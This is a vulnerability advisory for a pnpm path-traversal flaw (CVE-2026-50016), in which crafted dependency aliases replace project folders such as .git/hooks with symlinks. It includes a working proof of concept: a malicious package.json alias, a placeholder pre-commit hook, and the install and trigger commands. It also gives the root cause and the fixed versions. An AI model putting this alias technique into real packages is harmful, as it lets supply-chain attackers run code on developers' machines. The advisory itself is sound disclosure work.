CVE-2026-50016: pnpm Transitive Dependency Alias Path Traversal via Symlink Replacement
A malicious npm registry package can smuggle path traversal segments into a dependency alias, causing pnpm to replace project directories like .git/hooks with symlinks to attacker-controlled code…
The problem
pnpm reads dependency alias names directly from registry package metadata and joins them onto the target node_modules path without validating for .. segments. A transitive package can declare an alias like @x/../../../../../.git/hooks pointing to an attacker payload package, and pnpm will create a symlink at the traversed destination during install.
The impact bypasses the --ignore-scripts safety expectation. No lifecycle scripts run during install, yet the victim project's .git/hooks, scripts/, .github/actions/, or other directories are silently replaced. The payload then executes the next time the user runs git commit, pnpm test, or any other tool that reads those directories.
Proof of concept
A working proof-of-concept for CVE-2026-50016 in pnpm, with the exact payload below.
# bad@1.0.0 package.json (the malicious transitive package published to a registry)
{
"name": "bad",
"version": "1.0.0",
"dependencies": {
"@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}
}
# payload-hooks@1.0.0/pre-commit (the hook that runs on git commit)
#!/bin/sh
echo PWNED >&2
exit 0
# victim installs a normal-looking package that pulls in bad@1.0.0 transitively
pnpm install normal@1.0.0 --ignore-scripts
# pnpm resolves the traversal alias and creates:
# <project>/.git/hooks -> node_modules/.pnpm/payload-hooks@1.0.0/node_modules/payload-hooks
# later, without any further attacker action:
git commit -m "trigger"
# stderr: PWNEDThe root cause is that pnpm passed alias keys from package metadata directly into path.join(parentPackageNodeModulesDir, aliasKey) with no check that the normalized result stayed inside the intended node_modules subtree. A scoped-looking alias such as @x/../../../../../.git/hooks normalizes cleanly past the project root and lands at .git/hooks, where pnpm then places a symlink to the resolved payload package directory.
The fix in 10.34.0 adds validation at both read time (when aliases are parsed from a package manifest) and at link time (when the symlink is created), rejecting any alias whose normalized path escapes the node_modules boundary. This matches CWE-23 (Relative Path Traversal): unsanitized user-controlled path components used to construct a filesystem path.
The fix
Upgrade pnpm to 10.34.0 or later (or 11.4.0+ on the v11 track). Both releases reject dependency aliases containing path-traversal segments when reading them from a package manifest or symlinking them into node_modules. No configuration change is needed; the validation is on by default.
Related research
- high · 8.2pnpm Path Traversal via configDependencies Lockfile Entry Allows Symlink Escape
- high · 7.1pnpm Hoisted Lockfile Alias Path Traversal ()
- high · 8.8CVE-2026-55698CVE-2026-55698: pnpm Env Lockfile Package-Manager Integrity Bypass
- high · 7.5CVE-2026-55487CVE-2026-55487: pnpm allowBuilds Build Policy Identity Spoof